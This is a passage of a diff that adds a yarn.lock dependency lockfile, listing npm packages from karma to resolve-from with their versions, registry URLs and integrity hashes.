+  integrity sha512-lEhtGRGS+3Yw6JSx/vJY9iQyHNtTjcojrSwNzqNUOaDceKDu9dPZqA/kr69bUO9G2T6GKbu8AZgXqy94qo31Jg==
+  dependencies:
+    q "^1.5.0"
+    sauce-connect-launcher "^1.2.2"
+    saucelabs "^1.4.0"
+    wd "^1.4.0"
+
+karma@^6.4.2:
+  version "6.4.4"
+  resolved "https://registry.npmjs.org/karma/-/karma-6.4.4.tgz"
+  integrity sha512-LrtUxbdvt1gOpo3gxG+VAJlJAEMhbWlM4YrFQgql98FwF7+K8K12LYO4hnDdUkNjeztYrOXEMqgTajSWgmtI/w==
+  dependencies:
+    "@colors/colors" "1.5.0"
+    body-parser "^1.19.0"
+    braces "^3.0.2"
+    chokidar "^3.5.1"
+    connect "^3.7.0"
+    di "^0.0.1"
+    dom-serialize "^2.2.1"
+    glob "^7.1.7"
+    graceful-fs "^4.2.6"
+    http-proxy "^1.18.1"
+    isbinaryfile "^4.0.8"
+    lodash "^4.17.21"
+    log4js "^6.4.1"
+    mime "^2.5.2"
+    minimatch "^3.0.4"
+    mkdirp "^0.5.5"
+    qjobs "^1.2.0"
+    range-parser "^1.2.1"
+    rimraf "^3.0.2"
+    socket.io "^4.7.2"
+    source-map "^0.6.1"
+    tmp "^0.2.1"
+    ua-parser-js "^0.7.30"
+    yargs "^16.1.1"
+
+keyv@^4.5.4:
+  version "4.5.4"
+  resolved "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz"
+  integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==
+  dependencies:
+    json-buffer "3.0.1"
+
+lazystream@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz"
+  integrity sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==
+  dependencies:
+    readable-stream "^2.0.5"
+
+levn@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz"
+  integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==
+  dependencies:
+    prelude-ls "^1.2.1"
+    type-check "~0.4.0"
+
+locate-path@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz"
+  integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==
+  dependencies:
+    p-locate "^5.0.0"
+
+lodash.defaults@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz"
+  integrity sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==
+
+lodash.difference@^4.5.0:
+  version "4.5.0"
+  resolved "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz"
+  integrity sha512-dS2j+W26TQ7taQBGN8Lbbq04ssV3emRw4NY58WErlTO29pIqS0HmoT5aJ9+TUQ1N3G+JOZSji4eugsWwGp9yPA==
+
+lodash.flatten@^4.4.0:
+  version "4.4.0"
+  resolved "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz"
+  integrity sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g==
+
+lodash.isplainobject@^4.0.6:
+  version "4.0.6"
+  resolved "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz"
+  integrity sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==
+
+lodash.merge@^4.6.2:
+  version "4.6.2"
+  resolved "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz"
+  integrity sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==
+
+lodash.union@^4.6.0:
+  version "4.6.0"
+  resolved "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz"
+  integrity sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw==
+
+lodash@^4.0.0, lodash@^4.16.6, lodash@^4.17.14, lodash@^4.17.21:
+  version "4.17.21"
+  resolved "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
+  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
+
+log4js@^6.4.1:
+  version "6.9.1"
+  resolved "https://registry.npmjs.org/log4js/-/log4js-6.9.1.tgz"
+  integrity sha512-1somDdy9sChrr9/f4UlzhdaGfDR2c/SaD2a4T7qEkG4jTS57/B3qmnjLYePwQ8cqWnUHZI0iAKxMBpCZICiZ2g==
+  dependencies:
+    date-format "^4.0.14"
+    debug "^4.3.4"
+    flatted "^3.2.7"
+    rfdc "^1.3.0"
+    streamroller "^3.1.5"
+
+magic-string@^0.25.7:
+  version "0.25.9"
+  resolved "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz"
+  integrity sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==
+  dependencies:
+    sourcemap-codec "^1.4.8"
+
+math-intrinsics@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz"
+  integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
+
+media-typer@0.3.0:
+  version "0.3.0"
+  resolved "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz"
+  integrity sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==
+
+merge-stream@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz"
+  integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==
+
+mime-db@1.52.0:
+  version "1.52.0"
+  resolved "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz"
+  integrity sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==
+
+mime-types@^2.1.12, mime-types@~2.1.19, mime-types@~2.1.24, mime-types@~2.1.34:
+  version "2.1.35"
+  resolved "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz"
+  integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==
+  dependencies:
+    mime-db "1.52.0"
+
+mime@^2.5.2:
+  version "2.6.0"
+  resolved "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz"
+  integrity sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==
+
+minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz"
+  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+minimist@^1.2.0, minimist@^1.2.6:
+  version "1.2.8"
+  resolved "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz"
+  integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
+
+mkdirp@^0.5.1, mkdirp@^0.5.5:
+  version "0.5.6"
+  resolved "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz"
+  integrity sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==
+  dependencies:
+    minimist "^1.2.6"
+
+mock-socket@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/mock-socket/-/mock-socket-2.0.0.tgz"
+  integrity sha512-31GezEGTnFCaex8aEnG5Va7wEO44DRq6GEz7JllC/IvuOxg9pcnEI7f14GH1VPQb40AGJHvZG/Nu/ly8UppG6g==
+  dependencies:
+    urijs "~1.17.0"
+
+ms@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz"
+  integrity sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==
+
+ms@2.1.2, ms@^2.1.1:
+  version "2.1.2"
+  resolved "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz"
+  integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
+
+natural-compare@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz"
+  integrity sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==
+
+negotiator@0.6.3:
+  version "0.6.3"
+  resolved "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz"
+  integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==
+
+node-watch@0.7.3:
+  version "0.7.3"
+  resolved "https://registry.npmjs.org/node-watch/-/node-watch-0.7.3.tgz"
+  integrity sha512-3l4E8uMPY1HdMMryPRUAl+oIHtXtyiTlIiESNSVSNxcPfzAFzeTbXFQkZfAwBbo0B1qMSG8nUABx+Gd+YrbKrQ==
+
+normalize-path@^3.0.0, normalize-path@~3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz"
+  integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
+
+null-check@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/null-check/-/null-check-1.0.0.tgz"
+  integrity sha512-j8ZNHg19TyIQOWCGeeQJBuu6xZYIEurf8M1Qsfd8mFrGEfIZytbw18YjKWg+LcO25NowXGZXZpKAx+Ui3TFfDw==
+
+oauth-sign@~0.9.0:
+  version "0.9.0"
+  resolved "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz"
+  integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==
+
+object-assign@^4:
+  version "4.1.1"
+  resolved "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz"
+  integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
+
+object-inspect@^1.13.3, object-inspect@^1.13.4:
+  version "1.13.4"
+  resolved "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz"
+  integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
+
+object-keys@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz"
+  integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
+
+object.assign@^4.1.7:
+  version "4.1.7"
+  resolved "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz"
+  integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+    has-symbols "^1.1.0"
+    object-keys "^1.1.1"
+
+object.fromentries@^2.0.8:
+  version "2.0.8"
+  resolved "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz"
+  integrity sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+
+object.groupby@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.npmjs.org/object.groupby/-/object.groupby-1.0.3.tgz"
+  integrity sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+
+object.values@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz"
+  integrity sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+on-finished@2.4.1:
+  version "2.4.1"
+  resolved "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz"
+  integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==
+  dependencies:
+    ee-first "1.1.1"
+
+on-finished@~2.3.0:
+  version "2.3.0"
+  resolved "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz"
+  integrity sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==
+  dependencies:
+    ee-first "1.1.1"
+
+once@^1.3.0, once@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz"
+  integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
+  dependencies:
+    wrappy "1"
+
+optionator@^0.9.3:
+  version "0.9.4"
+  resolved "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz"
+  integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==
+  dependencies:
+    deep-is "^0.1.3"
+    fast-levenshtein "^2.0.6"
+    levn "^0.4.1"
+    prelude-ls "^1.2.1"
+    type-check "^0.4.0"
+    word-wrap "^1.2.5"
+
+own-keys@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz"
+  integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==
+  dependencies:
+    get-intrinsic "^1.2.6"
+    object-keys "^1.1.1"
+    safe-push-apply "^1.0.0"
+
+p-limit@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz"
+  integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
+  dependencies:
+    yocto-queue "^0.1.0"
+
+p-locate@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz"
+  integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
+  dependencies:
+    p-limit "^3.0.2"
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+parseurl@~1.3.3:
+  version "1.3.3"
+  resolved "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz"
+  integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
+
+path-exists@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz"
+  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+
+path-is-absolute@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz"
+  integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
+
+path-key@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz"
+  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+
+path-parse@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz"
+  integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
+
+performance-now@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz"
+  integrity sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==
+
+picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.2:
+  version "2.3.1"
+  resolved "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz"
+  integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
+
+possible-typed-array-names@^1.0.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz"
+  integrity sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==
+
+prelude-ls@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz"
+  integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
+
+process-nextick-args@~2.0.0:
+  version "2.0.1"
+  resolved "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz"
+  integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==
+
+psl@^1.1.24:
+  version "1.9.0"
+  resolved "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz"
+  integrity sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==
+
+punycode@^1.4.1:
+  version "1.4.1"
+  resolved "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz"
+  integrity sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==
+
+punycode@^2.1.0:
+  version "2.3.0"
+  resolved "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz"
+  integrity sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==
+
+q@^1.5.0, q@^1.5.1:
+  version "1.5.1"
+  resolved "https://registry.npmjs.org/q/-/q-1.5.1.tgz"
+  integrity sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==
+
+qjobs@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/qjobs/-/qjobs-1.2.0.tgz"
+  integrity sha512-8YOJEHtxpySA3fFDyCRxA+UUV+fA+rTWnuWvylOK/NCjhY+b4ocCtmu8TtsWb+mYeU+GCHf/S66KZF/AsteKHg==
+
+qs@6.11.0:
+  version "6.11.0"
+  resolved "https://registry.npmjs.org/qs/-/qs-6.11.0.tgz"
+  integrity sha512-MvjoMCJwEarSbUYk5O+nmoSzSutSsTwF85zcHPQ9OrlFoZOYIjaqBAJIqIXjptyD5vThxGq52Xu/MaJzRkIk4Q==
+  dependencies:
+    side-channel "^1.0.4"
+
+qs@~6.5.2:
+  version "6.5.3"
+  resolved "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz"
+  integrity sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==
+
+qunit@^2.8.0:
+  version "2.19.4"
+  resolved "https://registry.npmjs.org/qunit/-/qunit-2.19.4.tgz"
+  integrity sha512-aqUzzUeCqlleWYKlpgfdHHw9C6KxkB9H3wNfiBg5yHqQMzy0xw/pbCRHYFkjl8MsP/t8qkTQE+JTYL71azgiew==
+  dependencies:
+    commander "7.2.0"
+    node-watch "0.7.3"
+    tiny-glob "0.2.9"
+
+randombytes@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz"
+  integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==
+  dependencies:
+    safe-buffer "^5.1.0"
+
+range-parser@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz"
+  integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==
+
+raw-body@2.5.2:
+  version "2.5.2"
+  resolved "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz"
+  integrity sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==
+  dependencies:
+    bytes "3.1.2"
+    http-errors "2.0.0"
+    iconv-lite "0.4.24"
+    unpipe "1.0.0"
+
+readable-stream@^2.0.0, readable-stream@^2.0.5, readable-stream@^2.3.6:
+  version "2.3.8"
+  resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz"
+  integrity sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==
+  dependencies:
+    core-util-is "~1.0.0"
+    inherits "~2.0.3"
+    isarray "~1.0.0"
+    process-nextick-args "~2.0.0"
+    safe-buffer "~5.1.1"
+    string_decoder "~1.1.1"
+    util-deprecate "~1.0.1"
+
+readable-stream@^3.1.1, readable-stream@^3.4.0:
+  version "3.6.2"
+  resolved "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz"
+  integrity sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==
+  dependencies:
+    inherits "^2.0.3"
+    string_decoder "^1.1.1"
+    util-deprecate "^1.0.1"
+
+readdirp@~3.6.0:
+  version "3.6.0"
+  resolved "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz"
+  integrity sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==
+  dependencies:
+    picomatch "^2.2.1"
+
+reflect.getprototypeof@^1.0.6, reflect.getprototypeof@^1.0.9:
+  version "1.0.10"
+  resolved "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz"
+  integrity sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.9"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.1"
+    which-builtin-type "^1.2.1"
+
+regexp.prototype.flags@^1.5.4:
+  version "1.5.4"
+  resolved "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz"
+  integrity sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-errors "^1.3.0"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    set-function-name "^2.0.2"
+
+request@2.88.0:
+  version "2.88.0"
+  resolved "https://registry.npmjs.org/request/-/request-2.88.0.tgz"
+  integrity sha512-NAqBSrijGLZdM0WZNsInLJpkJokL72XYjUpnB0iwsRgxh7dB6COrHnTBNwN0E+lHDAJzu7kLAkDeY08z2/A0hg==
+  dependencies:
+    aws-sign2 "~0.7.0"
+    aws4 "^1.8.0"
+    caseless "~0.12.0"
+    combined-stream "~1.0.6"
+    extend "~3.0.2"
+    forever-agent "~0.6.1"
+    form-data "~2.3.2"
+    har-validator "~5.1.0"
+    http-signature "~1.2.0"
+    is-typedarray "~1.0.0"
+    isstream "~0.1.2"
+    json-stringify-safe "~5.0.1"
+    mime-types "~2.1.19"
+    oauth-sign "~0.9.0"
+    performance-now "^2.1.0"
+    qs "~6.5.2"
+    safe-buffer "^5.1.2"
+    tough-cookie "~2.4.3"
+    tunnel-agent "^0.6.0"
+    uuid "^3.3.2"
+
+require-directory@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz"
+  integrity sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==
+
+requires-port@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz"
+  integrity sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz"
